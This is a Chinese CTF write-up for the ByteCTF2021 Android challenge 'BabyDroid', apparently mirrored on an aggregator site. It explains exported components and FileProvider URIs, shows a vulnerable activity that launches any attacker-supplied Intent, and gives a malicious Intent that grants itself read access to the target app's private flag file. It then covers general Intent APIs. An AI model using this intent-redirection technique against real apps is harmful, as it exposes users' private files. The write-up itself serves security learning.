当前位置: 首页 > news >正文

ByteCTF2021 BabyDroid WP

官方 wp: https://shvu8e0g7u.feishu.cn/docs/doccndYygIwisrk0FGKnKvE0Jhg

BabyDroid

考点:

  • 安卓 11 (API 30) 及之前,如果 activity, service, receiver 的定义里包含 <intent-filter,则 exported 默认为 true;在 Android12 (API 31) 之后默认为 false。
  • exported=true 的组件可以接受来自任意应用的 intent,该目标应用如果没鉴权,可能会越权意外执行代码
  • 目标应用声明了 FileProvider,可以向其他应用开放内部存储文件权限。(提供形如 content://<authorities>/<path_segment>/<file_path> 的固定 uri)
  • uri 格式固定,攻击 app 可以不调用 FileProvider.getUriForFile 直接构造出来 (该 api 可能没做鉴权,就是简单的字符串拼接,攻击者可以传入其他的 context)

FileProvider 用例

	// 1. 生成当前应用的 urival authorities = "${context.packageName}.fileprovider" // 或者你定义的 authoritiesFileProvider.getUriForFile(context, authorities, fileToShare)// 形如 content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag// 可以直接 Uri.parse(str) 解析任意 uri// 2. 通过 Intent 允许其他应用使用Intent shareIntent = new Intent();shareIntent.setAction(Intent.ACTION_SEND); // 或者 ACTION_VIEW 等shareIntent.putExtra(Intent.EXTRA_STREAM, contentUri);shareIntent.setType(context.getContentResolver().getType(contentUri)); // 动态获取MIME类型// 对于 ACTION_SEND,通常接收方应用会处理权限请求// 但如果你直接启动一个组件并希望它有权限,就需要明确授予shareIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);// (可选)如果想让权限更具针对性,可以授予给特定的包// List<ResolveInfo> resInfoList = context.getPackageManager().queryIntentActivities(shareIntent, PackageManager.MATCH_DEFAULT_ONLY);// for (ResolveInfo resolveInfo : resInfoList) {//     String packageName = resolveInfo.activityInfo.packageName;//     context.grantUriPermission(packageName, contentUri, Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);// }// 7. 启动 Intentif (shareIntent.resolveActivity(context.getPackageManager()) != null) {context.startActivity(Intent.createChooser(shareIntent, "分享文件"));}

接收方:

// 在接收方的 Activity 中
Uri contentUri = getIntent().getData(); // 或者从 Intent 的 extra 中获取
if (contentUri != null) {try {InputStream inputStream = getContentResolver().openInputStream(contentUri);// 从 inputStream 读取数据并显示图片// ...if (inputStream != null) {inputStream.close();}
}

漏洞点

public class Vulnerable extends Activity {@Override  // android.app.Activityprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);this.startActivity(((Intent)this.getIntent().getParcelableExtra("intent")));}
}

当前活动会执行任意 Intent

恶意 Intent
            Intent evil = new Intent("evil");evil.setClass(this,MainActivity.class);evil.setData(Uri.parse("content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag"));evil.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION|Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

注:其他 Intent 传递方法

最传统的方式是 startActivity()startActivityForResult() (现在推荐使用 Activity Result APIs替代)

Android 中还有其他一些重要的 API 可以使用 Intent 来传递信息或触发操作。这些 API 服务于不同的目的:

  1. 启动服务 (Starting Services):

    • startService(Intent service):
      • 用于启动一个服务 (Service)。服务是在后台执行长时间运行操作而没有用户界面的组件。
      • 例如:Intent serviceIntent = new Intent(this, MyBackgroundService.class); serviceIntent.putExtra("task_data", "some_info"); startService(serviceIntent);
    • startForegroundService(Intent service): (Android 8.0 Oreo, API 级别 26 及更高版本)
      • startService 类似,但用于启动一个前台服务。前台服务必须显示一个用户可见的通知,并且系统对其的优先级更高,不容易被杀死。
      • 启动后,服务必须在几秒钟内调用 startForeground()
  2. 发送广播 (Sending Broadcasts):

    • sendBroadcast(Intent intent):
      • 用于发送一个系统范围的广播消息。任何注册了相应 IntentFilter 的广播接收器 (BroadcastReceiver) 都可以接收到这个广播,用于通知系统中发生的事件(例如,网络连接变化、电池电量低等,或者应用自定义的事件)。
      • 例如:Intent intent = new Intent("com.example.myapp.CUSTOM_ACTION"); intent.putExtra("message", "Hello from sender!"); sendBroadcast(intent);
    • sendOrderedBroadcast(Intent intent, String receiverPermission):
      • 发送一个有序广播。接收者会按照优先级顺序逐个接收广播。高优先级的接收者可以处理广播,甚至中止广播,使其不再传递给后续的低优先级接收者。
    • LocalBroadcastManager.getInstance(this).sendBroadcast(Intent intent): (来自 androidx.legacy:legacy-support-v4androidx.localbroadcastmanager:localbroadcastmanager)
      • 用于在应用的内部发送广播。这种广播不会离开你的应用,因此更安全、更高效,不需要担心其他应用的干扰或监听。
      • 对于应用内部组件间的通信,这是推荐的方式。
  3. 绑定到服务 (Binding to Services):

    • bindService(Intent service, ServiceConnection conn, int flags):
      • 用于与一个服务建立一个持久的连接。这允许组件(例如 Activity)与服务进行双向通信,例如调用服务中的方法。Intent 在这里用于指定要绑定的服务。
      • startService 不同,绑定服务只有在至少有一个组件绑定到它时才会运行。当所有绑定都解除时,服务会被销毁(除非它也被 startService 启动了)。
      • ServiceConnection 对象用于接收服务的 IBinder 接口,通过该接口可以与服务交互。
  4. PendingIntent:

    • PendingIntent 是一个 Intent 的包装器,它将一个 Intent 和目标动作(例如启动 Activity、启动 Service、发送 Broadcast)封装起来,并授予另一个应用(或系统服务,如 NotificationManager, AlarmManager)权限来在将来的某个时间点,以你的应用的名义执行这个 Intent
    • 你不会直接“传递”PendingIntent 本身给另一个组件的某个方法调用,而是将 PendingIntent 对象交给系统服务,这些服务会在特定事件发生时触发它。
    • 创建 PendingIntent 的方法:
      • PendingIntent.getActivity(Context context, int requestCode, Intent intent, int flags): 获取一个用于启动 Activity 的 PendingIntent。
      • PendingIntent.getService(Context context, int requestCode, Intent intent, int flags): 获取一个用于启动 Service 的 PendingIntent。
      • PendingIntent.getBroadcast(Context context, int requestCode, Intent intent, int flags): 获取一个用于发送 Broadcast 的 PendingIntent。
    • 使用场景:
      • 通知 (Notifications): 当用户点击通知时,通常会执行一个 PendingIntent 来打开一个 Activity。
      • 闹钟 (AlarmManager): 设置一个在未来特定时间执行的 Intent (例如,启动一个服务或发送一个广播)。
      • 应用小部件 (App Widgets): 点击小部件上的按钮时执行一个 Intent

相关文章:

  • RAM(随机存取存储器)的通俗解释及其在路由器中的作用
  • 推荐系统里真的存在“反馈循环”吗?
  • 前端表单中 `readOnly` 和 `disabled` 属性的区别
  • PHP SPL 自动加载机制详解与实战应用:spl_autoload_register 使用指南
  • σ 滤波器(Sigma Filter)基本原理及其优化版本介绍
  • Python爬虫开发基础案例:构建可复用的名言采集系统
  • 介绍一下什么是反射(面试题详细讲解)
  • P3392 涂条纹
  • VILT模型阅读笔记
  • 3.5/Q1,Charls最新文章解读
  • 广东省省考备考(第十九天5.24)—申论(听课后强化训练)
  • 超时处理机制设计:从TICK到回调
  • JavaSE常用API之Object类:Java万物之基
  • AI知识库
  • Day126 | 灵神 | 二叉树 | 层数最深的叶子结点的和
  • 【java】小练习--零钱通
  • DataFrame 和 Dataset的对比理解
  • vue2中el-table 实现前端分页
  • 第十五章:数据治理之数据目录:摸清家底,建立三大数据目录
  • 大数据如何让智能物流和仓储管理更高效?从预测到自动调度
  • 做电影网站需要注意什么东西/软件开发流程
  • 苏州公司网站建设电话/seo网站营销推广
  • 网站用cms/爱站工具包手机版
  • 进入网络管理的网站/微商推广哪家好
  • 成都哪家网站开发好/佛山网站建设工作
  • 网站建设语录/站长工具是干嘛的